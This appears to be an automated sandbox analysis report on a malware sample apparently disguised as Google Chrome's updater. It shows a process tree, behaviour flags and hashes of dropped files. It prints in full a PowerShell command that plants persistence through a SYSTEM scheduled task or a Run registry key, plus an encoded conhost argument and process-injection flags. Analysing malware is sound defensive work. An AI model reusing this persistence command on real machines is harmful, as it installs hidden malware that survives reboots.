C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4792
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4456
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:848
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3216
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1268
-
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4008
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
690KB
MD5a25efb75be5008bbe00e187ca74a4602
SHA190b275187b53adc4c8366811e7eb6d81cfb5188c
SHA256a48ce939fcf7afdd7ff6204e56bbaefde15a9078e6e0b417e048b70f967423db
SHA512e6b87c3966e1ddda342a345149ca92759a90d7f52976c5849a6c59e9a1e8e5a3fc2d4b0ba88391bb1217c6c8a451c1b72a3815904c3c4a981c19ec046e0c2198
-
Filesize
832KB
MD540e723ead9c13c8cbcbf6ab1c9d407db
SHA10c9f56a2bf8fb4ed0ec6386131945511a1a0a41d
SHA256fb94d09323fee2f4fef931488970d277c88f1a8559186e5170394701a4859289
SHA51277d0794dfb592088e13401e46feb8ec2b36b87a7869e8619e97bf071d7f69d967362bae206b1f215018f9bd4552521c7bd21bd33341e9494b817c53e0fadeda0
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
2KB
MD5440cb38dbee06645cc8b74d51f6e5f71
SHA1d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA2568ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
SHA5123aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
-
Filesize
944B
MD5380007fbdf9fef355db2afd71fce9cd1
SHA1e98802ef10fac8ef96a3210930784c317ca76fa0
SHA2566353a11014d2c1495ac7a5efef195d06d8e8b30a163c437263361deb5a28de03
SHA5129790c6b4c16ed4f4e6cddf492d01a6b4963e20bde6ddf40017db20ffc672b0cfaea2ad6aebcb51e8e459682974be0d024b35546aad840051a1e9fe2d3e565bd5
-
Filesize
1KB
MD5a16b84830c7c18df54f25c15d0f81951
SHA19d817fc72fbaf76175e677dec66002e9bdff6da0
SHA2560d7a62ab7c299a90db4e2ec1a6c4b10e7bf17879f699f042728e7f4870c69a53
SHA51298b62f81111e958787db2137649d7ae1769ae142dce1d824a8093283fac50846f59e0b1e1cfe26ed07322bee1c8ddad2bc1b18a0d69ecaa1f79c7a9bc26300b6
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5